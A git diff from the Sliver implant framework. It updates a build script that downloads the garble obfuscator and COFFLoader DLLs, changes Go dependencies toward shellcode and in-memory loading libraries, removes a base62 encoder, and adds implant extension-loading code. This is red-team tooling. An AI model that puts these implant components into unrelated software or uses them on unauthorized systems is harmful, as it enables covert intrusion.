echo " Garble"
|
||||
echo "-----------------------------------------------------------------"
|
||||
@@ -138,6 +145,12 @@ curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/mo
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " COFF Loader"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
rm -rf $WORK_DIR
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.16
|
||||
go 1.17
|
||||
|
||||
// fix wgctrl requiring old wireguard
|
||||
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
@@ -9,10 +9,11 @@ require (
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.4.16 // indirect
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
@@ -24,6 +25,7 @@ require (
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
@@ -40,6 +42,7 @@ require (
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.org/x/text v0.3.6
|
||||
golang.zx2c4.com/wireguard v0.0.20200121
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
|
||||
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
|
||||
@@ -53,3 +56,43 @@ require (
|
||||
gorm.io/gorm v1.20.6
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/desertbit/readline v1.5.1 // indirect
|
||||
github.com/dlclark/regexp2 v1.2.0 // indirect
|
||||
github.com/go-sql-driver/mysql v1.5.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.0 // indirect
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
|
||||
github.com/jackc/pgconn v1.7.0 // indirect
|
||||
github.com/jackc/pgio v1.0.0 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
|
||||
github.com/jackc/pgtype v1.5.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.9.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.1 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
)
|
||||
@@ -17,10 +17,15 @@ github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0T
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d h1:uq6FM7b88vkNEqwjyP2mK6oL8cymY5b75Luu6ADTStY=
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtHgGUqTxJbfg+b+LjWBBPuYUzFFza1LXFhrzfxHA=
|
||||
github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
|
||||
@@ -36,6 +41,7 @@ github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRy
|
||||
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
|
||||
github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
|
||||
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
|
||||
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
|
||||
github.com/alecthomas/chroma v0.8.1 h1:ym20sbvyC6RXz45u4qDglcgr8E313oPROshcuCHqiEE=
|
||||
@@ -50,11 +56,13 @@ github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRF
|
||||
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
|
||||
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
|
||||
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
|
||||
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d h1:OjnsEdBfkfk2ynGBqqWC2Hw3a40Udo1xxJmCkbJRok4=
|
||||
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d/go.mod h1:oSZ0f0Zrb3C5CC9ix1ARY7PcxRRmraT0wGSjnUJm9rg=
|
||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
||||
@@ -113,6 +121,7 @@ github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGE
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
github.com/fzipp/gocyclo v0.3.1/go.mod h1:DJHO6AUmbdqj2ET4Z9iArSuwWgYDRryYt2wASxc7x3E=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
||||
@@ -261,6 +270,8 @@ github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0f
|
||||
github.com/jackc/puddle v1.1.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.2/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
|
||||
@@ -318,8 +329,9 @@ github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOA
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
|
||||
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+twI54=
|
||||
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
|
||||
github.com/mattn/go-sqlite3 v1.14.5 h1:1IdxlwTNazvbKJQSxoJ5/9ECbEeaTTyeU7sEAZ5KKTQ=
|
||||
github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
|
||||
@@ -356,6 +368,7 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
|
||||
@@ -510,6 +523,7 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck=
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -548,6 +562,7 @@ golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210309040221-94ec62e08169/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
|
||||
@@ -14,4 +14,5 @@ require (
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
)
|
||||
@@ -1,210 +0,0 @@
|
||||
package encoders
|
||||
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2019 Shawn Wang <[email protected]>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
-------------------------------------------------------------------------------
|
||||
|
||||
Modifications by moloch to work with Sliver
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"math/bits"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
const (
|
||||
base = 62
|
||||
compactMask = 0x1E // 00011110
|
||||
mask5bits = 0x1F // 00011111
|
||||
)
|
||||
|
||||
// Base62EncoderID - EncoderID
|
||||
const Base62EncoderID = 43
|
||||
|
||||
// Base62 Encoder
|
||||
type Base62 struct{}
|
||||
|
||||
var base62Alphabet = "aBCDEFGHIJKLMNOPQRSTUVWXYZAbcdefghijklmnopqrstuvwxyz0123456789"
|
||||
|
||||
// Encode - Base62 Encode
|
||||
func (e Base62) Encode(data []byte) []byte {
|
||||
return []byte(NewEncoding(base62Alphabet).EncodeToString(data))
|
||||
}
|
||||
|
||||
// Decode - Base62 Decode
|
||||
func (e Base62) Decode(data []byte) ([]byte, error) {
|
||||
return NewEncoding(base62Alphabet).DecodeString(string(data))
|
||||
}
|
||||
|
||||
type Base62Encoder struct {
|
||||
encode [base]byte
|
||||
decodeMap [256]byte
|
||||
}
|
||||
|
||||
func NewEncoding(encoder string) *Base62Encoder {
|
||||
if len(encoder) != base {
|
||||
panic("encoding alphabet is not 62-bytes long")
|
||||
}
|
||||
for i := 0; i < len(encoder); i++ {
|
||||
if encoder[i] == '\n' || encoder[i] == '\r' {
|
||||
panic("encoding alphabet contains newline character")
|
||||
}
|
||||
}
|
||||
|
||||
e := new(Base62Encoder)
|
||||
copy(e.encode[:], encoder)
|
||||
for i := 0; i < len(e.decodeMap); i++ {
|
||||
e.decodeMap[i] = 0xFF
|
||||
}
|
||||
for i := 0; i < len(encoder); i++ {
|
||||
e.decodeMap[encoder[i]] = byte(i)
|
||||
}
|
||||
return e
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) Encode(src []byte) []byte {
|
||||
if len(src) == 0 {
|
||||
return []byte{}
|
||||
}
|
||||
encoder := newEncoder(src)
|
||||
return encoder.encode(enc.encode[:])
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) EncodeToString(src []byte) string {
|
||||
ret := enc.Encode(src)
|
||||
return string(ret)
|
||||
}
|
||||
|
||||
type encoder struct {
|
||||
b []byte
|
||||
pos int
|
||||
}
|
||||
|
||||
func newEncoder(src []byte) *encoder {
|
||||
return &encoder{
|
||||
b: src,
|
||||
pos: len(src) * 8,
|
||||
}
|
||||
}
|
||||
|
||||
func (enc *encoder) next() (byte, bool) {
|
||||
var i, pos int
|
||||
var j, blen byte
|
||||
pos = enc.pos - 6
|
||||
if pos <= 0 {
|
||||
pos = 0
|
||||
blen = byte(enc.pos)
|
||||
} else {
|
||||
i = pos / 8
|
||||
j = byte(pos % 8)
|
||||
blen = byte((i+1)*8 - pos)
|
||||
if blen > 6 {
|
||||
blen = 6
|
||||
}
|
||||
}
|
||||
shift := 8 - j - blen
|
||||
b := enc.b[i] >> shift & (1<<blen - 1)
|
||||
|
||||
if blen < 6 && pos > 0 {
|
||||
blen1 := 6 - blen
|
||||
b = b<<blen1 | enc.b[i+1]>>(8-blen1)
|
||||
}
|
||||
if b&compactMask == compactMask {
|
||||
if pos > 0 || b > mask5bits {
|
||||
pos++
|
||||
}
|
||||
b &= mask5bits
|
||||
}
|
||||
enc.pos = pos
|
||||
|
||||
return b, pos > 0
|
||||
}
|
||||
|
||||
func (enc *encoder) encode(encTable []byte) []byte {
|
||||
ret := make([]byte, 0, len(enc.b)*8/5+1)
|
||||
x, hasMore := enc.next()
|
||||
for {
|
||||
ret = append(ret, encTable[x])
|
||||
if !hasMore {
|
||||
break
|
||||
}
|
||||
x, hasMore = enc.next()
|
||||
}
|
||||
return ret
|
||||
}
|
||||
|
||||
type CorruptInputError int64
|
||||
|
||||
func (e CorruptInputError) Error() string {
|
||||
return "illegal base62 data at input byte " + strconv.FormatInt(int64(e), 10)
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) Decode(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return []byte{}, nil
|
||||
}
|
||||
dec := decoder(src)
|
||||
return dec.decode(enc.decodeMap[:])
|
||||
}
|
||||
|
||||
func (enc *Base62Encoder) DecodeString(src string) ([]byte, error) {
|
||||
return enc.Decode([]byte(src))
|
||||
}
|
||||
|
||||
type decoder []byte
|
||||
|
||||
func (dec decoder) decode(decTable []byte) ([]byte, error) {
|
||||
ret := make([]byte, len(dec)*6/8+1)
|
||||
idx := len(ret)
|
||||
pos := byte(0)
|
||||
b := 0
|
||||
for i, c := range dec {
|
||||
x := decTable[c]
|
||||
if x == 0xFF {
|
||||
return nil, CorruptInputError(i)
|
||||
}
|
||||
if i == len(dec)-1 {
|
||||
b |= int(x) << pos
|
||||
pos += byte(bits.Len8(x))
|
||||
} else if x&compactMask == compactMask {
|
||||
b |= int(x) << pos
|
||||
pos += 5
|
||||
} else {
|
||||
b |= int(x) << pos
|
||||
pos += 6
|
||||
}
|
||||
if pos >= 8 {
|
||||
idx--
|
||||
ret[idx] = byte(b)
|
||||
pos %= 8
|
||||
b >>= 8
|
||||
}
|
||||
}
|
||||
if pos > 0 {
|
||||
idx--
|
||||
ret[idx] = byte(b)
|
||||
}
|
||||
|
||||
return ret[idx:], nil
|
||||
}
|
||||
@@ -1,5 +1,7 @@
|
||||
package encoders
|
||||
|
||||
import "encoding/base64"
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -18,8 +20,6 @@ package encoders
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "encoding/base64"
|
||||
|
||||
// Base64EncoderID - EncoderID
|
||||
const Base64EncoderID = 13
|
||||
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
package extension
|
||||
|
||||
import "errors"
|
||||
|
||||
var extensions map[string]Extension
|
||||
|
||||
type Extension interface {
|
||||
Load() error
|
||||
Call(exportName string, arguments []byte, callback func([]byte)) error
|
||||
GetID() string
|
||||
GetArch() string
|
||||
}
|
||||
|
||||
func Add(e Extension) {
|
||||
extensions[e.GetID()] = e
|
||||
}
|
||||
|
||||
func List() []string {
|
||||
var extList []string
|
||||
for id := range extensions {
|
||||
extList = append(extList, id)
|
||||
}
|
||||
return extList
|
||||
}
|
||||
|
||||
func Run(extID string, funcName string, arguments []byte, callback func([]byte)) error {
|
||||
if ext, found := extensions[extID]; found {
|
||||
return ext.Call(funcName, arguments, callback)
|
||||
}
|
||||
return errors.New("{{if .Config.Debug}} extension not found{{end}}")
|
||||
}
|
||||
|
||||
func init() {
|
||||
extensions = make(map[string]Extension)
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
package extension
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"runtime"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"github.com/Binject/universal"
|
||||
)
|
||||
|
||||
type DarwinExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *universal.Library
|
||||
arch string
|
||||
serverStore bool
|
||||
init string
|
||||
}
